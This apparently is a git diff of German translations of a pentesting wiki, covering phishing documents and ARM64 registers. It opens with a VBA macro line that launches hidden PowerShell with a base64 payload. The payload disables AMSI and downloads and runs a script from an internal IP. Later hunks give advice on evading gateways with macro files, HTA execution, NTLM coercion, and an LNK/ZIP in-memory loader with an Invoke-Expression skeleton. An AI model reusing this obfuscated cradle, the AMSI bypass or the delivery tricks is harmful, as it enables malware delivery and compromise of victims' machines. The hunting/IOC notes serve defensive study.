CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -66,14 +66,14 @@ proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Metadaten manuell entfernen
|
||||
|
||||
Gehe zu **Datei > Info > Dokument prüfen > Dokument prüfen**, wodurch der Dokumentinspektor geöffnet wird. Klicke **Prüfen** und dann **Alle entfernen** neben **Dokumenteigenschaften und persönliche Informationen**.
|
||||
Gehe zu **File > Info > Inspect Document > Inspect Document**, wodurch der Document Inspector geöffnet wird. Klicke **Inspect** und dann **Remove All** neben **Document Properties and Personal Information**.
|
||||
|
||||
#### DOC-Erweiterung
|
||||
#### Doc-Erweiterung
|
||||
|
||||
Wenn fertig, wähle das Dropdown **Speichern als Typ**, ändere das Format von **`.docx`** zu **Word 97-2003 `.doc`**.\
|
||||
Mach das, weil du **keine Makros in einer `.docx` speichern kannst** und es ein **Stigma** gegenüber der macro-enabled **`.docm`** Erweiterung gibt (z. B. das Thumbnail-Symbol hat ein großes `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **legacy `.doc` Erweiterung der beste Kompromiss**.
|
||||
Wenn Sie fertig sind, wählen Sie das Dropdown **Save as type** und ändern Sie das Format von **`.docx`** zu **Word 97-2003 `.doc`**.\
|
||||
Machen Sie das, weil Sie **can't save macro's inside a `.docx`** und es ein **stigma** **around** die macro-enabled **`.docm`** Erweiterung gibt (z. B. hat das Vorschauthumbnail ein großes `!` und einige Web-/E-Mail-Gateways blockieren sie vollständig). Daher ist diese **legacy `.doc` extension** der beste Kompromiss.
|
||||
|
||||
#### Malicious Macros Generators
|
||||
#### Generatoren für bösartige Macros
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
@ -81,9 +81,9 @@ Mach das, weil du **keine Makros in einer `.docx` speichern kannst** und es ein
|
||||
|
||||
## HTA-Dateien
|
||||
|
||||
Eine HTA ist ein Windows-Programm, das **HTML und Skriptsprachen (wie VBScript und JScript)** kombiniert. Sie erzeugt die Benutzeroberfläche und wird als eine "voll vertrauenswürdige" Anwendung ausgeführt, ohne die Beschränkungen des Sicherheitsmodells eines Browsers.
|
||||
Eine HTA ist ein Windows-Programm, das **HTML und Skriptsprachen (wie VBScript und JScript)** kombiniert. Sie erzeugt die Benutzeroberfläche und läuft als eine "fully trusted" Anwendung, ohne die Beschränkungen des Sicherheitsmodells eines Browsers.
|
||||
|
||||
Eine HTA wird mittels **`mshta.exe`** ausgeführt, das typischerweise zusammen mit **Internet Explorer** **installiert** ist, wodurch **`mshta` von IE abhängig** ist. Wenn dieser deinstalliert wurde, können HTAs nicht mehr ausgeführt werden.
|
||||
Eine HTA wird mit **`mshta.exe`** ausgeführt, welches typischerweise zusammen mit **Internet Explorer** **installed** ist, wodurch **`mshta` dependant on IE** ist. Wenn dieser deinstalliert wurde, können HTAs nicht ausgeführt werden.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -138,11 +138,11 @@ var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## Erzwingen von NTLM-Authentifizierung
|
||||
## Erzwingen von NTLM Authentication
|
||||
|
||||
Es gibt mehrere Möglichkeiten, die **NTLM-Authentifizierung "aus der Ferne"** zu erzwingen, zum Beispiel durch das Einfügen von **unsichtbaren Bildern** in E-Mails oder HTML, auf die der Benutzer zugreift (sogar HTTP MitM?). Oder indem man dem Opfer die **Adresse von Dateien** schickt, die allein durch das **Öffnen des Ordners** eine **Authentifizierung** **auslösen**.
|
||||
Es gibt mehrere Möglichkeiten, **NTLM authentication "remotely"** zu erzwingen — zum Beispiel könntest du **unsichtbare Bilder** in E-Mails oder HTML einfügen, auf die der Benutzer zugreift (sogar HTTP MitM?). Oder dem Opfer die **Adresse von Dateien** schicken, die allein durch das **Öffnen des Ordners** eine **Authentifizierung** auslösen.
|
||||
|
||||
**Siehe diese Ideen und mehr auf den folgenden Seiten:**
|
||||
**Sieh dir diese Ideen und mehr in den folgenden Seiten an:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,24 +156,24 @@ Es gibt mehrere Möglichkeiten, die **NTLM-Authentifizierung "aus der Ferne"** z
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
Nicht vergessen: man kann nicht nur den Hash oder die Authentifizierung stehlen, sondern auch **NTLM relay attacks** durchführen:
|
||||
Vergiss nicht, dass du nicht nur den Hash oder die Authentifizierung stehlen kannst, sondern auch **NTLM relay attacks** durchführen kannst:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Hochwirksame Kampagnen liefern ein ZIP, das zwei legitime Köderdokumente (PDF/DOCX) und eine bösartige .lnk enthält. Der Trick besteht darin, dass der eigentliche PowerShell-Loader in den rohen Bytes des ZIP nach einem eindeutigen Marker gespeichert ist, und die .lnk diesen vollständig im Speicher extrahiert und ausführt.
|
||||
Hochwirksame Kampagnen liefern ein ZIP, das zwei legitime Decoy-Dokumente (PDF/DOCX) und eine bösartige .lnk enthält. Der Trick besteht darin, dass der eigentliche PowerShell-Loader in den Rohbytes des ZIPs nach einem eindeutigen Marker gespeichert ist, und die .lnk ihn ausschneidet und vollständig im Speicher ausführt.
|
||||
|
||||
Typischer Ablauf, implementiert durch den .lnk PowerShell-Einzeiler:
|
||||
Typischer Ablauf, implementiert vom .lnk PowerShell One-Liner:
|
||||
|
||||
1) Finde das originale ZIP in gängigen Pfaden: Desktop, Downloads, Documents, %TEMP%, %ProgramData% und dem übergeordneten Verzeichnis des aktuellen Arbeitsverzeichnisses.
|
||||
2) Lese die ZIP-Bytes und finde einen hardcodierten Marker (z.B. xFIQCV). Alles nach dem Marker ist das eingebettete PowerShell-Payload.
|
||||
3) Kopiere das ZIP nach %ProgramData%, entpacke es dort und öffne die Köder-.docx, um legitim zu wirken.
|
||||
1) Finde das ursprüngliche ZIP in üblichen Pfaden: Desktop, Downloads, Documents, %TEMP%, %ProgramData% und im übergeordneten Verzeichnis des aktuellen Arbeitsverzeichnisses.
|
||||
2) Lies die ZIP-Bytes und finde einen hardcodierten Marker (z. B. xFIQCV). Alles nach dem Marker ist die eingebettete PowerShell-Payload.
|
||||
3) Kopiere das ZIP nach %ProgramData%, entpacke es dort und öffne das Decoy-.docx, um legitim zu wirken.
|
||||
4) AMSI für den aktuellen Prozess umgehen: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Die nächste Stufe deobfuskieren (z.B. alle #-Zeichen entfernen) und sie im Speicher ausführen.
|
||||
5) Deobfuskation der nächsten Stufe (z. B. Entfernen aller # Zeichen) und Ausführung im Speicher.
|
||||
|
||||
Beispiel eines PowerShell-Skeletts, um die eingebettete Stufe zu extrahieren und auszuführen:
|
||||
Beispiel eines PowerShell-Skeletts, um die eingebettete Stufe auszuschneiden und auszuführen:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
@ -191,21 +191,21 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Hinweise
|
||||
- Die Zustellung missbraucht häufig vertrauenswürdige PaaS-Subdomains (z. B. *.herokuapp.com) und kann payloads einschränken (liefert harmlose ZIPs basierend auf IP/UA).
|
||||
- Die nächste Stufe entschlüsselt häufig base64/XOR shellcode und führt ihn via Reflection.Emit + VirtualAlloc aus, um Festplattenartefakte zu minimieren.
|
||||
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
|
||||
- Die nächste Stufe entschlüsselt häufig base64/XOR shellcode und führt ihn via Reflection.Emit + VirtualAlloc aus, um Spuren auf der Festplatte zu minimieren.
|
||||
|
||||
Persistence, die in derselben Kette eingesetzt wird
|
||||
- COM TypeLib hijacking des Microsoft Web Browser control, sodass IE/Explorer oder jede App, die es einbettet, den payload automatisch neu startet. Details und einsatzbereite Befehle hier:
|
||||
In derselben Kette verwendete Persistence
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- ZIP-Dateien, die den ASCII marker string (z. B. xFIQCV) enthalten, der an die Archivdaten angehängt wurde.
|
||||
- .lnk, das übergeordnete/Benutzerordner auflistet, um das ZIP zu finden und ein Köderdokument zu öffnen.
|
||||
- AMSI-Manipulation via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Lang laufende Business-Threads, die mit Links enden, die unter vertrauenswürdigen PaaS-Domains gehostet werden.
|
||||
- ZIP-Dateien, die die ASCII-Markierungszeichenfolge (z. B., xFIQCV) enthalten, welche an die Archivdaten angehängt ist.
|
||||
- .lnk, das übergeordnete/Benutzerordner auflistet, um das ZIP zu finden und ein Decoy-Dokument öffnet.
|
||||
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Long-running business threads ending with links hosted under trusted PaaS domains.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -2,254 +2,257 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Ausnahmeebenen - EL (ARM64v8)**
|
||||
## **Exception Levels - EL (ARM64v8)**
|
||||
|
||||
In der ARMv8-Architektur definieren die Ausführungsebenen, bekannt als Ausnahmeebenen (ELs), das Privilegieniveau und die Fähigkeiten der Ausführungsumgebung. Es gibt vier Ausnahmeebenen, die von EL0 bis EL3 reichen, wobei jede eine andere Funktion erfüllt:
|
||||
In der ARMv8-Architektur definieren Ausführungslevel, bekannt als Exception Levels (ELs), das Privilegniveau und die Fähigkeiten der Ausführungsumgebung. Es gibt vier Exception Levels, von EL0 bis EL3, die jeweils unterschiedliche Zwecke erfüllen:
|
||||
|
||||
1. **EL0 - Benutzermodus**:
|
||||
- Dies ist die am wenigsten privilegierte Ebene und wird zur Ausführung regulärer Anwendungssoftware verwendet.
|
||||
- Anwendungen, die auf EL0 ausgeführt werden, sind voneinander und von der Systemsoftware isoliert, was die Sicherheit und Stabilität erhöht.
|
||||
2. **EL1 - Betriebssystem-Kernelmodus**:
|
||||
- Die meisten Betriebssystemkerne laufen auf dieser Ebene.
|
||||
- EL1 hat mehr Privilegien als EL0 und kann auf Systemressourcen zugreifen, jedoch mit einigen Einschränkungen, um die Systemintegrität zu gewährleisten.
|
||||
3. **EL2 - Hypervisor-Modus**:
|
||||
- Diese Ebene wird für Virtualisierung verwendet. Ein Hypervisor, der auf EL2 läuft, kann mehrere Betriebssysteme (jeweils in ihrem eigenen EL1) verwalten, die auf derselben physischen Hardware laufen.
|
||||
- EL2 bietet Funktionen zur Isolation und Kontrolle der virtualisierten Umgebungen.
|
||||
4. **EL3 - Sicherer Monitor-Modus**:
|
||||
- Dies ist die privilegierteste Ebene und wird häufig für sicheres Booten und vertrauenswürdige Ausführungsumgebungen verwendet.
|
||||
- EL3 kann Zugriffe zwischen sicheren und nicht sicheren Zuständen (wie sicherem Booten, vertrauenswürdigem OS usw.) verwalten und steuern.
|
||||
1. **EL0 - User Mode**:
|
||||
- Dies ist das am wenigsten privilegierte Level und wird zum Ausführen gewöhnlicher Anwendungsprogramme verwendet.
|
||||
- Anwendungen, die in EL0 laufen, sind voneinander und vom Systemsoftware isoliert, was Sicherheit und Stabilität erhöht.
|
||||
2. **EL1 - Operating System Kernel Mode**:
|
||||
- Die meisten Betriebssystemkerne laufen auf diesem Level.
|
||||
- EL1 hat mehr Privilegien als EL0 und kann auf Systemressourcen zugreifen, jedoch mit einigen Beschränkungen, um die Systemintegrität zu gewährleisten.
|
||||
3. **EL2 - Hypervisor Mode**:
|
||||
- Dieses Level wird für Virtualisierung verwendet. Ein Hypervisor, der in EL2 läuft, kann mehrere Betriebssysteme (jeweils in ihrem eigenen EL1) auf derselben physischen Hardware verwalten.
|
||||
- EL2 bietet Funktionen zur Isolation und Steuerung der virtualisierten Umgebungen.
|
||||
4. **EL3 - Secure Monitor Mode**:
|
||||
- Dies ist das privilegierteste Level und wird häufig für Secure Boot und Trusted Execution Environments verwendet.
|
||||
- EL3 kann Zugriffe zwischen sicheren und nicht-sicheren Zuständen verwalten und kontrollieren (z. B. secure boot, trusted OS usw.).
|
||||
|
||||
Die Verwendung dieser Ebenen ermöglicht eine strukturierte und sichere Verwaltung verschiedener Aspekte des Systems, von Benutzeranwendungen bis hin zu den privilegiertesten Systemsoftware. Der Ansatz von ARMv8 zu Privilegienebenen hilft, verschiedene Systemkomponenten effektiv zu isolieren, wodurch die Sicherheit und Robustheit des Systems erhöht wird.
|
||||
Die Verwendung dieser Level ermöglicht eine strukturierte und sichere Verwaltung verschiedener Aspekte des Systems, von Benutzeranwendungen bis zur höchst privilegierten Systemsoftware. Der ARMv8-Ansatz zu Privileglevels hilft dabei, verschiedene Systemkomponenten effektiv zu isolieren und so die Sicherheit und Robustheit des Systems zu verbessern.
|
||||
|
||||
## **Register (ARM64v8)**
|
||||
## **Registers (ARM64v8)**
|
||||
|
||||
ARM64 hat **31 allgemeine Register**, die von `x0` bis `x30` beschriftet sind. Jedes kann einen **64-Bit** (8-Byte) Wert speichern. Für Operationen, die nur 32-Bit-Werte erfordern, können dieselben Register im 32-Bit-Modus mit den Namen w0 bis w30 angesprochen werden.
|
||||
ARM64 hat **31 allgemeine Register**, bezeichnet `x0` bis `x30`. Jedes kann einen **64-Bit** (8-Byte) Wert speichern. Für Operationen, die nur 32-Bit-Werte benötigen, können dieselben Register im 32-Bit-Modus über die Namen `w0` bis `w30` angesprochen werden.
|
||||
|
||||
1. **`x0`** bis **`x7`** - Diese werden typischerweise als Scratch-Register und zum Übergeben von Parametern an Unterprogramme verwendet.
|
||||
1. **`x0`** bis **`x7`** - Diese werden typischerweise als temporäre Register und zum Übergeben von Parametern an Subroutinen verwendet.
|
||||
- **`x0`** trägt auch die Rückgabedaten einer Funktion.
|
||||
2. **`x8`** - Im Linux-Kernel wird `x8` als Systemaufrufnummer für die `svc`-Anweisung verwendet. **In macOS wird x16 verwendet!**
|
||||
3. **`x9`** bis **`x15`** - Weitere temporäre Register, die oft für lokale Variablen verwendet werden.
|
||||
4. **`x16`** und **`x17`** - **Intra-prozedurale Aufrufregister**. Temporäre Register für unmittelbare Werte. Sie werden auch für indirekte Funktionsaufrufe und PLT (Procedure Linkage Table) Stub verwendet.
|
||||
- **`x16`** wird als **Systemaufrufnummer** für die **`svc`**-Anweisung in **macOS** verwendet.
|
||||
5. **`x18`** - **Plattformregister**. Es kann als allgemeines Register verwendet werden, aber auf einigen Plattformen ist dieses Register für plattformspezifische Zwecke reserviert: Zeiger auf den aktuellen Thread-Umgebungsblock in Windows oder um auf die aktuell **ausführende Aufgabenstruktur im Linux-Kernel** zu zeigen.
|
||||
6. **`x19`** bis **`x28`** - Dies sind callee-saved Register. Eine Funktion muss die Werte dieser Register für ihren Aufrufer bewahren, sodass sie im Stack gespeichert und vor der Rückkehr zum Aufrufer wiederhergestellt werden.
|
||||
7. **`x29`** - **Frame-Zeiger**, um den Stackrahmen zu verfolgen. Wenn ein neuer Stackrahmen erstellt wird, weil eine Funktion aufgerufen wird, wird das **`x29`**-Register **im Stack gespeichert** und die **neue** Frame-Zeigeradresse (Adresse von **`sp`**) wird **in diesem Register gespeichert**.
|
||||
- Dieses Register kann auch als **allgemeines Register** verwendet werden, obwohl es normalerweise als Referenz für **lokale Variablen** verwendet wird.
|
||||
8. **`x30`** oder **`lr`** - **Link-Register**. Es hält die **Rückgabeadresse**, wenn eine `BL` (Branch with Link) oder `BLR` (Branch with Link to Register) Anweisung ausgeführt wird, indem der **`pc`**-Wert in diesem Register gespeichert wird.
|
||||
- Es könnte auch wie jedes andere Register verwendet werden.
|
||||
- Wenn die aktuelle Funktion eine neue Funktion aufrufen und daher `lr` überschreiben wird, wird sie zu Beginn im Stack gespeichert, dies ist der Epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Speichern von `fp` und `lr`, Platz schaffen und neuen `fp` erhalten) und am Ende wiederhergestellt, dies ist der Prolog (`ldp x29, x30, [sp], #48; ret` -> Wiederherstellen von `fp` und `lr` und Rückkehr).
|
||||
9. **`sp`** - **Stack-Zeiger**, der verwendet wird, um den oberen Teil des Stacks zu verfolgen.
|
||||
- Der **`sp`**-Wert sollte immer mindestens auf eine **Quadword**-**Ausrichtung** gehalten werden, da sonst eine Ausrichtungsfehler auftreten kann.
|
||||
10. **`pc`** - **Program Counter**, der auf die nächste Anweisung zeigt. Dieses Register kann nur durch Ausnahmeerzeugungen, Ausnahme-Rückgaben und Sprünge aktualisiert werden. Die einzigen gewöhnlichen Anweisungen, die dieses Register lesen können, sind Sprünge mit Link-Anweisungen (BL, BLR), um die **`pc`**-Adresse im **`lr`** (Link-Register) zu speichern.
|
||||
11. **`xzr`** - **Null-Register**. Auch in seiner **32**-Bit-Registerform als **`wzr`** bezeichnet. Kann verwendet werden, um den Nullwert einfach zu erhalten (häufige Operation) oder um Vergleiche mit **`subs`** durchzuführen, wie **`subs XZR, Xn, #10`**, wobei die resultierenden Daten nirgendwo gespeichert werden (in **`xzr`**).
|
||||
2. **`x8`** - Im Linux-Kernel wird `x8` als Systemcall-Nummer für die `svc`-Instruktion verwendet. **In macOS ist jedoch `x16` die verwendete!**
|
||||
3. **`x9`** bis **`x15`** - Weitere temporäre Register, oft für lokale Variablen verwendet.
|
||||
4. **`x16`** und **`x17`** - **Intra-procedural Call Registers**. Temporäre Register für unmittelbare Werte. Sie werden auch für indirekte Funktionsaufrufe und PLT-Stubs verwendet.
|
||||
- **`x16`** wird in **macOS** als **Systemcall-Nummer** für die **`svc`**-Instruktion verwendet.
|
||||
5. **`x18`** - **Platform register**. Es kann als allgemeines Register verwendet werden, aber auf manchen Plattformen ist dieses Register für plattformspezifische Zwecke reserviert: Pointer auf den aktuellen Thread-Umgebungsblock in Windows oder um auf die momentan **ausführende task structure im linux kernel** zu zeigen.
|
||||
6. **`x19`** bis **`x28`** - Dies sind vom Callee zu sichernde Register. Eine Funktion muss die Werte dieser Register für ihren Caller erhalten, daher werden sie auf dem Stack gespeichert und vor der Rückkehr zum Caller wiederhergestellt.
|
||||
7. **`x29`** - **Frame pointer**, um den Stackframe nachzuverfolgen. Wenn ein neuer Stackframe erstellt wird, weil eine Funktion aufgerufen wird, wird das **`x29`**-Register **im Stack gespeichert** und die **neue** Frame-Pointer-Adresse (die **`sp`**-Adresse) wird in diesem Register **gespeichert**.
|
||||
- Dieses Register kann auch als **allgemeines Register** verwendet werden, obwohl es normalerweise als Referenz für **lokale Variablen** dient.
|
||||
8. **`x30`** oder **`lr`** - **Link register**. Es hält die **Rücksprungadresse**, wenn eine `BL` (Branch with Link) oder `BLR` (Branch with Link to Register) Instruktion ausgeführt wird, indem der aktuelle **`pc`**-Wert in dieses Register gespeichert wird.
|
||||
- Es kann auch wie jedes andere Register verwendet werden.
|
||||
- Wenn die aktuelle Funktion eine neue Funktion aufruft und dadurch `lr` überschrieben wird, wird `lr` zu Beginn auf dem Stack gespeichert; dies ist das Epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Speichere `fp` und `lr`, generiere Platz und setze neuen `fp`) und am Ende wiederhergestellt; dies ist der Prolog (`ldp x29, x30, [sp], #48; ret` -> Wiederherstellen von `fp` und `lr` und Rückkehr).
|
||||
9. **`sp`** - **Stack pointer**, verwendet, um die Spitze des Stacks zu verfolgen.
|
||||
- Der **`sp`**-Wert sollte immer mindestens eine **Quadword-Ausrichtung** haben, sonst kann eine Alignment-Exception auftreten.
|
||||
10. **`pc`** - **Program counter**, der auf die nächste Instruktion zeigt. Dieses Register kann nur durch das Erzeugen von Exceptions, Exception-Returns und Branches aktualisiert werden. Die einzigen gewöhnlichen Instruktionen, die dieses Register lesen können, sind Branch-with-Link-Instruktionen (BL, BLR), um die **`pc`**-Adresse in **`lr`** (Link Register) zu speichern.
|
||||
11. **`xzr`** - **Zero register**. Auch als **`wzr`** in seiner **32**-Bit-Form bezeichnet. Kann verwendet werden, um leicht den Nullwert zu erhalten (häufige Operation) oder um Vergleiche mit **`subs`** durchzuführen wie **`subs XZR, Xn, #10`**, wobei das Ergebnis nirgendwo gespeichert wird (in **`xzr`**).
|
||||
|
||||
Die **`Wn`**-Register sind die **32-Bit**-Version der **`Xn`**-Register.
|
||||
Die **`Wn`** Register sind die **32bit** Version der **`Xn`** Register.
|
||||
|
||||
### SIMD- und Gleitkomma-Register
|
||||
> [!TIP]
|
||||
> Die Register von `X0` - `X18` sind volatil, das bedeutet, dass ihre Werte durch Funktionsaufrufe und Interrupts geändert werden können. Die Register von `X19` - `X28` sind hingegen nicht-volatile, was bedeutet, dass ihre Werte über Funktionsaufrufe hinweg erhalten bleiben müssen ("callee saved").
|
||||
|
||||
Darüber hinaus gibt es weitere **32 Register mit einer Länge von 128 Bit**, die in optimierten Single Instruction Multiple Data (SIMD)-Operationen und zur Durchführung von Gleitkomma-Arithmetik verwendet werden können. Diese werden als Vn-Register bezeichnet, obwohl sie auch in **64**-Bit, **32**-Bit, **16**-Bit und **8**-Bit betrieben werden können und dann als **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** und **`Bn`** bezeichnet werden.
|
||||
### SIMD and Floating-Point Registers
|
||||
|
||||
### Systemregister
|
||||
Außerdem gibt es weitere **32 Register mit 128bit Länge**, die in optimierten Single Instruction Multiple Data (SIMD)-Operationen und für Gleitkommaberechnungen verwendet werden können. Diese werden als Vn-Register bezeichnet, obwohl sie auch in **64**-Bit-, **32**-Bit-, **16**-Bit- und **8**-Bit-Form betrieben werden können und dann **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** und **`Bn`** genannt werden.
|
||||
|
||||
**Es gibt Hunderte von Systemregistern**, auch als spezielle Register (SPRs) bezeichnet, die zur **Überwachung** und **Steuerung** des Verhaltens von **Prozessoren** verwendet werden.\
|
||||
Sie können nur mit den speziellen Anweisungen **`mrs`** und **`msr`** gelesen oder gesetzt werden.
|
||||
### System Registers
|
||||
|
||||
Die speziellen Register **`TPIDR_EL0`** und **`TPIDDR_EL0`** sind häufig beim Reverse Engineering zu finden. Der `EL0`-Suffix zeigt die **minimale Ausnahme** an, von der aus das Register zugänglich ist (in diesem Fall ist EL0 das reguläre Ausnahmeniveau (Privilegienniveau), mit dem reguläre Programme ausgeführt werden).\
|
||||
Sie werden oft verwendet, um die **Basisadresse des thread-lokalen Speicherbereichs** im Speicher zu speichern. In der Regel ist das erste für Programme, die in EL0 laufen, lesbar und schreibbar, aber das zweite kann von EL0 gelesen und von EL1 (wie Kernel) geschrieben werden.
|
||||
**Es gibt Hunderte von Systemregistern**, auch Special-Purpose Registers (SPRs) genannt, die zur **Überwachung** und **Steuerung** des Verhaltens von **Prozessoren** verwendet werden.\
|
||||
Sie können nur mit den speziellen Instruktionen **`mrs`** und **`msr`** gelesen oder gesetzt werden.
|
||||
|
||||
- `mrs x0, TPIDR_EL0 ; Lese TPIDR_EL0 in x0`
|
||||
- `msr TPIDR_EL0, X0 ; Schreibe x0 in TPIDR_EL0`
|
||||
Die Spezialregister **`TPIDR_EL0`** und **`TPIDDR_EL0`** tauchen häufig beim Reverse Engineering auf. Der Suffix `EL0` gibt die **minimal notwendige Exception** an, aus der das Register zugänglich ist (in diesem Fall ist EL0 das reguläre Exception- (Privileg-)Level, in dem normale Programme laufen).\
|
||||
Sie werden oft verwendet, um die **Basisadresse des thread-local storage** Speicherbereichs zu speichern. Üblicherweise ist das erste les- und schreibbar für Programme, die in EL0 laufen, während das zweite von EL0 gelesen und von EL1 geschrieben werden kann (z. B. Kernel).
|
||||
|
||||
- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
|
||||
- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
|
||||
|
||||
### **PSTATE**
|
||||
|
||||
**PSTATE** enthält mehrere Prozesskomponenten, die in das vom Betriebssystem sichtbare **`SPSR_ELx`**-Sonderregister serialisiert sind, wobei X das **Berechtigungs**-**niveau der ausgelösten** Ausnahme angibt (dies ermöglicht es, den Prozesszustand wiederherzustellen, wenn die Ausnahme endet).\
|
||||
**PSTATE** enthält mehrere Prozesskomponenten, die in das für das Betriebssystem sichtbare **`SPSR_ELx`** Spezialregister serialisiert sind, wobei X das **Berechtigungslevel der ausgelösten** Exception ist (das ermöglicht die Wiederherstellung des Prozesszustands, wenn die Exception beendet ist).\
|
||||
Dies sind die zugänglichen Felder:
|
||||
|
||||
<figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Die **`N`**, **`Z`**, **`C`** und **`V`** Bedingungsflags:
|
||||
- **`N`** bedeutet, dass die Operation ein negatives Ergebnis geliefert hat.
|
||||
- **`Z`** bedeutet, dass die Operation null ergeben hat.
|
||||
- **`C`** bedeutet, dass die Operation einen Übertrag hatte.
|
||||
- **`V`** bedeutet, dass die Operation einen signierten Überlauf ergeben hat:
|
||||
- Die Summe von zwei positiven Zahlen ergibt ein negatives Ergebnis.
|
||||
- Die Summe von zwei negativen Zahlen ergibt ein positives Ergebnis.
|
||||
- Bei der Subtraktion, wenn eine große negative Zahl von einer kleineren positiven Zahl (oder umgekehrt) subtrahiert wird und das Ergebnis nicht im Bereich der gegebenen Bitgröße dargestellt werden kann.
|
||||
- Offensichtlich weiß der Prozessor nicht, ob die Operation signiert ist oder nicht, daher wird er C und V in den Operationen überprüfen und anzeigen, ob ein Übertrag aufgetreten ist, falls es signiert oder nicht signiert war.
|
||||
- Die Bedingungsflags **`N`**, **`Z`**, **`C`** und **`V``**:
|
||||
- **`N`** bedeutet, dass die Operation ein negatives Ergebnis lieferte.
|
||||
- **`Z`** bedeutet, dass die Operation Null lieferte.
|
||||
- **`C`** bedeutet, dass ein Übertrag (carry) aufgetreten ist.
|
||||
- **`V`** bedeutet, dass die Operation einen vorzeichenbehafteten Überlauf lieferte:
|
||||
- Die Summe zweier positiver Zahlen ergibt ein negatives Ergebnis.
|
||||
- Die Summe zweier negativer Zahlen ergibt ein positives Ergebnis.
|
||||
- Bei Subtraktionen, wenn eine große negative Zahl von einer kleineren positiven Zahl subtrahiert wird (oder umgekehrt) und das Ergebnis nicht innerhalb des darstellbaren Bereichs der gegebenen Bitgröße liegt.
|
||||
- Offensichtlich weiß der Prozessor nicht, ob die Operation vorzeichenbehaftet ist oder nicht, daher prüft er C und V in den Operationen und zeigt an, ob ein Carry aufgetreten ist, unabhängig davon, ob es vorzeichenbehaftet oder vorzeichenlos war.
|
||||
|
||||
> [!WARNING]
|
||||
> Nicht alle Anweisungen aktualisieren diese Flags. Einige wie **`CMP`** oder **`TST`** tun dies, und andere, die ein s-Suffix haben, wie **`ADDS`**, tun es ebenfalls.
|
||||
> Nicht alle Instruktionen aktualisieren diese Flags. Einige wie **`CMP`** oder **`TST`** tun es, und andere, die ein `s`-Suffix haben wie **`ADDS`**, tun es ebenfalls.
|
||||
|
||||
- Das aktuelle **Registerbreite (`nRW`) Flag**: Wenn das Flag den Wert 0 hat, wird das Programm im AArch64-Ausführungszustand ausgeführt, sobald es fortgesetzt wird.
|
||||
- Das aktuelle **Ausnahmelevel** (**`EL`**): Ein reguläres Programm, das in EL0 läuft, hat den Wert 0.
|
||||
- Das **Single-Stepping**-Flag (**`SS`**): Wird von Debuggern verwendet, um einen Schritt auszuführen, indem das SS-Flag auf 1 innerhalb von **`SPSR_ELx`** durch eine Ausnahme gesetzt wird. Das Programm wird einen Schritt ausführen und eine Einzelstepp-Ausnahme auslösen.
|
||||
